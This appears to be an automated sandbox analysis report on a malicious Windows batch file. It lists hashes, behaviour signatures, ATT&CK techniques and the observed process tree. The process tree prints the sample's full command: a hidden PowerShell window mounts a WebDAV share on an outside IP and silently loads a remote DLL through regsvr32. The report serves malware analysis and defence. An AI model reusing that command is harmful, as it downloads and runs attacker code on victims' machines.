3a7c382e87c2eaa2943cb8f6a4f456f420b95137ddc5d4cd0cff5c3caddaea98

Analysis

max time kernel
121s
max time network
122s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
19/07/2024, 01:47

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General

Target

fb2af323cef6f3784506d325ac0bcd01a8ece462e2a9e0b373b3a4aa0fd61931.bat
Size

6KB
MD5

515d20a1756940930e0a2988452b2beb
SHA1

d1739dfbadb194fe98a550ce02ee1f8693c94d10
SHA256

fb2af323cef6f3784506d325ac0bcd01a8ece462e2a9e0b373b3a4aa0fd61931
SHA512

2a2e1f28cfc0bbfc94f898fb1dfe9bcc34a6fcf416dbd36c2e5b9e336bb5daef5acd70e2015b68482bb99604133b79437e3da487679838c22510d3d1bafc95ea
SSDEEP

96:xzyOGZtqfFWfmF+fRFzmnZv59k/wPYqjqaHHqNKx/5/wPKwQ8rJNAN:x+TZt+F8mgfRsnZvosqasKwKiY

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1888	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1888	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1888	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2372	wordpad.exe
2372	wordpad.exe
2372	wordpad.exe
2372	wordpad.exe
2372	wordpad.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 2536 wrote to memory of 2372	2536	cmd.exe	31
PID 2536 wrote to memory of 2372	2536	cmd.exe	31
PID 2536 wrote to memory of 2372	2536	cmd.exe	31
PID 2536 wrote to memory of 1888	2536	cmd.exe	32
PID 2536 wrote to memory of 1888	2536	cmd.exe	32
PID 2536 wrote to memory of 1888	2536	cmd.exe	32
PID 1888 wrote to memory of 2888	1888	powershell.exe	34
PID 1888 wrote to memory of 2888	1888	powershell.exe	34
PID 1888 wrote to memory of 2888	1888	powershell.exe	34
PID 1888 wrote to memory of 2760	1888	powershell.exe	35
PID 1888 wrote to memory of 2760	1888	powershell.exe	35
PID 1888 wrote to memory of 2760	1888	powershell.exe	35
PID 1888 wrote to memory of 2760	1888	powershell.exe	35
PID 1888 wrote to memory of 2760	1888	powershell.exe	35

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\fb2af323cef6f3784506d325ac0bcd01a8ece462e2a9e0b373b3a4aa0fd61931.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2536
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:2372
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\23371108524987.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1888
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:2888
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\23371108524987.dll
    3⤵
    PID:2760

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1888-23-0x000000001B6B0000-0x000000001B992000-memory.dmp

Filesize
2.9MB

Download
memory/1888-24-0x0000000001D90000-0x0000000001D98000-memory.dmp

Filesize
32KB

Download
memory/2536-16-0x0000000002290000-0x0000000002390000-memory.dmp

Filesize
1024KB

Download
memory/2536-17-0x0000000002290000-0x0000000002390000-memory.dmp

Filesize
1024KB

Download